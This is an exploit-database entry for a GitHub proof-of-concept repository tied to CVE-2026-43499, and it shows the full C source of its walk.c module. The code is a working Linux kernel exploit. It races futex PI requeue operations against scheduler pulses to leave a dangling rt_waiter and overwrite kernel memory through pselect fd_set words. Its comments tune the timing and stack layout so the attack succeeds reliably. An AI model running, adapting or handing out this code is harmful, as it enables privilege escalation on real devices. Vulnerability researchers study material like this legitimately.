Exploit database

GH-92e7b5d35cb801ad900f20d1efcc4a2d

snothin/ghostlock-s26

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

170 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files21
snothin/ghostlock-s26Revision 0f98fcfc99bb

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/src/walk.c

C · 12,238 bytes
#include "common.h"

static __attribute__((noinline)) long futex_op(uint32_t *uaddr, int op, uint32_t val,
                                               const struct timespec *timeout, uint32_t *uaddr2,
                                               uint32_t val3) {
  return syscall(SYS_futex, uaddr, op, val, timeout, uaddr2, val3);
}

static long sched_setattr_tid(int tid, int nice_value) {
  struct local_sched_attr attr;
  memset(&attr, 0, sizeof(attr));
  attr.size = sizeof(attr);
  attr.sched_policy = SCHED_BATCH;
  attr.sched_nice = nice_value;
  return syscall(SYS_sched_setattr, tid, &attr, 0);
}

/* Route state globals. */
static uint32_t *f_wait; /* futex word 0 of the per-walk anon page */
static uint32_t *f_pi_target;
static uint32_t *f_pi_chain;
static atomic_int waiter_ready;
static atomic_int waiter_waiting;
static atomic_int owner_started;
static atomic_int owner_chain_done;
static atomic_int route_done;
static atomic_int waiter_tid;
static atomic_int owner_tid;
atomic_int punch_consume_go;
atomic_int punch_consume_stop;
atomic_int consumer_calls;
atomic_int consumer_success;
static atomic_int consumer_completed;

#define WALK_US_SLOW 1000000L
atomic_int walk_delay_usec;

/* Rounds state, file-scope on purpose: locals in waiter_thread would
 * move the do_pselect call frame (timing-redline; do not refactor). */
static volatile int walk_rounds;     /* rounds per fire (cfg walk.rounds) */
static volatile int walk_round_done; /* completed round counter */
/* Volatile global read (not immediate) keeps waiter_thread's frame
 * unchanged; cfg walk.waiter_timeout. */
static volatile int walk_waiter_timeout_sec;

/* Seed clear (always on, noinline for frame isolation): after a miss
 * pi_blocked_on still points at this thread's rt_waiter residue; take
 * FUTEX_LOCK_PI (50ms timeout) on the owner-held f_pi_target so the
 * slow path rewrites pi_blocked_on and the timeout cleans the right
 * waiter.  One unconditional bl inside the redline frame. */
#define SEED_CLEAR_TIMEOUT_NS 50000000L
__attribute__((noinline)) static void waiter_pi_state_clear(void) {
  struct timespec ts;
  if (clock_gettime(CLOCK_MONOTONIC, &ts) != 0) {
    return;
  }
  ts.tv_nsec += SEED_CLEAR_TIMEOUT_NS;
  if (ts.tv_nsec >= 1000000000L) {
    ts.tv_sec += 1;
    ts.tv_nsec -= 1000000000L;
  }
  errno = 0;
  long r = futex_op(f_pi_target, FUTEX_LOCK_PI, 0, &ts, NULL, 0);
  if (r == 0) {
    /* Unexpectedly acquired the lock; unlock to keep state consistent. */
    futex_op(f_pi_target, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
    pr_warning("walk: pi cleanup lock acquired (unlocked)\n");
  } else {
    pr_debug("walk: pi cleanup lock ret=%ld errno=%d%s\n", r, errno,
             errno == 110 ? " (timeout expected)" : "");
  }
}

/* Per-round bookkeeping outside the redline frame: a noinline helper
 * keeps waiter_thread's frame (and the do_pselect call SP) untouched. */
__attribute__((noinline)) static int walk_round_next(int ret) {
  pselect_last_ret = ret;
  walk_round_done++;
  /* ret>=32 = fd bitmap polluted = write delivered. */
  return pselect_last_ret >= 32 || walk_round_done >= walk_rounds;
}

/* Futex PI waiter thread (performs the walk). */
static void wait_atomic(const atomic_int *flag, int usec) {
  while (!atomic_load(flag)) {
    usleep((useconds_t)usec);
  }
}

void *waiter_thread(void *arg __attribute__((unused))) {
  int tid = (int)syscall(SYS_gettid);
  atomic_store(&waiter_tid, tid);

  /* Hold the chain: the owner then blocks on it, forming the PI cycle
   * whose adjust traversal writes the fd words. */
  if (futex_op(f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0) != 0) {
    pr_fatal("waiter lock chain errno=%d\n", errno);
  }

  atomic_store(&waiter_ready, 1);
  wait_atomic(&owner_started, 1000);

  struct timespec timeout;
  SYSCHK(clock_gettime(CLOCK_MONOTONIC, &timeout));
  timeout.tv_sec += walk_waiter_timeout_sec;

  atomic_store(&waiter_waiting, 1);
  futex_op(f_wait, FUTEX_WAIT_REQUEUE_PI, 0, &timeout, f_pi_target, 0);

  /* One requeue (fire), then up to walk.rounds windows on the SAME
   * ghost waiter; rounds only observe the tree (never re-requeue).
   * RED LINE: loop body stays call-only (do_pselect +
   * walk_round_next) — any register pressure shifts the do_pselect
   * call SP and moves the fd_set slot overlap (freeze class). */
  for (walk_round_done = 0;;) {
    if (walk_round_next(do_pselect_fake_lock_route())) {
      break;
    }
  }

  if (pselect_clobber) {
    if (pselect_last_ret < 32) {
      /* Miss: the child is stopped with the residue still parked. */
      pr_debug("walk: route miss (ret=%d), fd words untouched\n", pselect_last_ret);
    } else {
      clobber_fd_words_for_clean_exit();
    }
  }
  atomic_store(&route_done, 1);

  futex_op(f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
  wait_atomic(&owner_chain_done, 1000);
  waiter_pi_state_clear();
  /* Kernel-stack keep-alive: never return — a freed waiter kernel
   * stack would dangle the tree residue (freeze class). */
  for (;;) {
    pause();
  }
  return NULL; /* unreachable */
}

/* Futex PI owner thread. */
void *owner_thread(void *arg __attribute__((unused))) {
  atomic_store(&owner_tid, (int)syscall(SYS_gettid));
  long lock_target = futex_op(f_pi_target, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
  if (lock_target != 0) {
    pr_fatal("owner lock target errno=%d\n", errno);
  }

  wait_atomic(&waiter_ready, 1000);

  atomic_store(&owner_started, 1);
  futex_op(f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
  atomic_store(&owner_chain_done, 1);

  for (;;) {
    pause();
  }
}

static long consumer_sched_pulse(int tid, int seq, int use_setprio) {
  struct timespec t0;
  struct timespec t1;
  clock_gettime(CLOCK_MONOTONIC, &t0);
  errno = 0;
  /* Mixed pulse backends: even idx sched_setattr, odd idx
   * setpriority — setpriority takes a kernel path that never freezes. */
  long sched_ret;
  if (use_setprio) {
    sched_ret = syscall(SYS_setpriority, PRIO_PROCESS, tid, PSELECT_CONSUMER_NICE);
  } else {
    sched_ret = sched_setattr_tid(tid, PSELECT_CONSUMER_NICE);
  }
  clock_gettime(CLOCK_MONOTONIC, &t1);
  int saved_errno = errno;
  long walk_us = (t1.tv_sec - t0.tv_sec) * 1000000L + (t1.tv_nsec - t0.tv_nsec) / 1000L;
  pr_info("walk: pulse seq=%d mode=%s ret=%ld errno=%d tid=%d walk_us=%ld%s\n", seq,
          use_setprio ? "setprio" : "sched", sched_ret, saved_errno, tid, walk_us,
          walk_us > WALK_US_SLOW ? " SLOW-WALK" : "");
  atomic_fetch_add(&consumer_completed, 1);
  return sched_ret;
}

/* Pulse roles: idx 0 = the one sched_setattr (walk_delay_usec) that does
 * the PI rotation; idx >= 1 = harmless setprio pulses.  A second sched
 * pulse re-enters the half-rotated tree (freeze class). */
/* Consumer count / pulse stagger from cfg (walk.threads, walk.stagger). */
static int consumer_threads = 2;
static int consumer_stagger_usec = 100000;

static void walk_env_init(void) {
  consumer_threads = (int)cfg_int("walk.threads");
  consumer_stagger_usec = (int)cfg_int("walk.stagger");
  pr_debug("walk env: threads=%d stagger=%d\n", consumer_threads, consumer_stagger_usec);
}

void *consumer_thread(void *arg) {
  int idx = (int)(intptr_t)arg;
  pin_to_core(CONSUMER_CORE);

  int seen = 0;

  /* Busy wait on yield: pulse timing depends on it; no sleep/futex. */
  while (!atomic_load(&punch_consume_stop)) {
    int seq = atomic_load(&punch_consume_go);
    if (seq == 0 || seq == seen) {
      __asm__ volatile("yield" ::: "memory");
      continue;
    }

    seen = seq;
    /* Pulse the waiter. */
    int tid = atomic_load(&waiter_tid);
    /* One sched pulse only: a concurrent second sched_setattr
     * re-enters the half-rotated chain and freezes the device;
     * setpriority never touches the PI chain (safe second trigger). */
    int use_setprio = (idx != 0);
    int delay_usec = idx == 0 ? atomic_load(&walk_delay_usec) : consumer_stagger_usec;
    if (delay_usec > 0) {
      pr_debug("pulse[%d] usleep=%d\n", idx, delay_usec);
      usleep((useconds_t)delay_usec);
    }
    if (atomic_load(&punch_consume_stop) || atomic_load(&punch_consume_go) != seq) {
      continue;
    }
    atomic_fetch_add(&consumer_calls, 1);
    if (consumer_sched_pulse(tid, seq, use_setprio) == 0) {
      atomic_fetch_add(&consumer_success, 1);
    }
    pr_debug("pulse[%d] done seq=%d\n", idx, seq);
  }

  return NULL;
}

void reset_walk_state(void) {
  /* Hot-reload reload=1 params (file + env; CLI overrides kept). */
  cfg_reload();
  walk_env_init();
  walk_rounds = (int)cfg_int("walk.rounds");
  if (walk_rounds < 1) {
    walk_rounds = 1;
  }
  walk_waiter_timeout_sec = (int)cfg_int("walk.waiter_timeout");
  if (walk_waiter_timeout_sec < 1) {
    walk_waiter_timeout_sec = ROUTE_WAIT_SECONDS;
  }
  walk_round_done = 0;
  f_wait = 0;
  f_pi_target = 0;
  f_pi_chain = 0;
  atomic_store(&waiter_ready, 0);
  atomic_store(&waiter_waiting, 0);
  atomic_store(&owner_started, 0);
  atomic_store(&owner_chain_done, 0);
  atomic_store(&route_done, 0);
  atomic_store(&waiter_tid, 0);
  atomic_store(&owner_tid, 0);
  atomic_store(&punch_consume_go, 0);
  atomic_store(&punch_consume_stop, 0);
  atomic_store(&consumer_calls, 0);
  atomic_store(&consumer_success, 0);
  atomic_store(&consumer_completed, 0);

  {
    atomic_store(&walk_delay_usec, cfg_int("walk.delay"));
  }
}

/* Per-walk futex page: a fresh anon page keeps a miss's dangling
 * rt_waiter residue from poisoning the next attempt. */
static int futex_ctx_alloc(void) {
  void *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    pr_fatal("futex ctx mmap failed errno=%d\n", errno);
    return -1;
  }
  f_wait = (uint32_t *)page;
  f_pi_target = (uint32_t *)page + 1;
  f_pi_chain = (uint32_t *)page + 2;
  pr_debug("futex ctx page=%p wait=%p target=%p chain=%p\n", page, (void *)f_wait,
           (void *)f_pi_target, (void *)f_pi_chain);
  return 0;
}

/* Orchestrate the three route threads and fire the walk. */
void run_walk_threads(void) {
  pr_debug("%s\n", __func__);
  reset_walk_state();

  if (futex_ctx_alloc() != 0) {
    pr_warning("route threads: futex ctx alloc failed\n");
    return;
  }

  pthread_t waiter;
  pthread_t owner;
  pthread_t consumer[CONSUMER_THREADS_MAX];
  SYSCHK(pthread_create(&waiter, NULL, waiter_thread, NULL));
  SYSCHK(pthread_create(&owner, NULL, owner_thread, NULL));
  for (int i = 0; i < consumer_threads; i++) {
    SYSCHK(pthread_create(&consumer[i], NULL, consumer_thread, (void *)(intptr_t)i));
    SYSCHK(pthread_detach(consumer[i]));
  }
  while (!atomic_load(&waiter_waiting) || !atomic_load(&owner_started)) {
    usleep(1000);
  }

  int requeue_delay_usec = (int)cfg_int("walk.requeue_delay");
  usleep((useconds_t)requeue_delay_usec);
  errno = 0;
  /* wake/requeue counts (cfg walk.requeue_wake/nr) shift where the
   * dangling waiter lands. */
  int nr_wake = (int)cfg_int("walk.requeue_wake");
  int nr_requeue = (int)cfg_int("walk.requeue_nr");
  futex_op(f_wait, FUTEX_CMP_REQUEUE_PI, (uint32_t)nr_wake, (void *)(long)nr_requeue, f_pi_target,
           0);

  wait_atomic(&route_done, 10000);

  if (walk_round_done > 1 || walk_rounds > 1) {
    pr_info("walk: rounds done=%d/%d ret=%d fired=%d\n", walk_round_done, walk_rounds,
            pselect_last_ret, pselect_last_calls > 0 && pselect_last_success > 0);
  }

  int completion_wait_ms = 5000;
  int completion_waited_ms = 0;
  while (atomic_load(&consumer_completed) < atomic_load(&consumer_calls) &&
         completion_waited_ms < completion_wait_ms) {
    usleep(1000);
    completion_waited_ms++;
  }
  if (atomic_load(&consumer_completed) < atomic_load(&consumer_calls)) {
    pr_warning(
        "walk: completion timeout calls=%d completed=%d "
        "waited_ms=%d\n",
        atomic_load(&consumer_calls), atomic_load(&consumer_completed), completion_waited_ms);
  } else if (completion_waited_ms) {
    pr_info(
        "walk: completion joined calls=%d completed=%d "
        "waited_ms=%d\n",
        atomic_load(&consumer_calls), atomic_load(&consumer_completed), completion_waited_ms);
  }

  atomic_store(&punch_consume_stop, 1);
  /* Detached consumers: a stuck sched_setattr must never block the
   * walk child's exit. */
}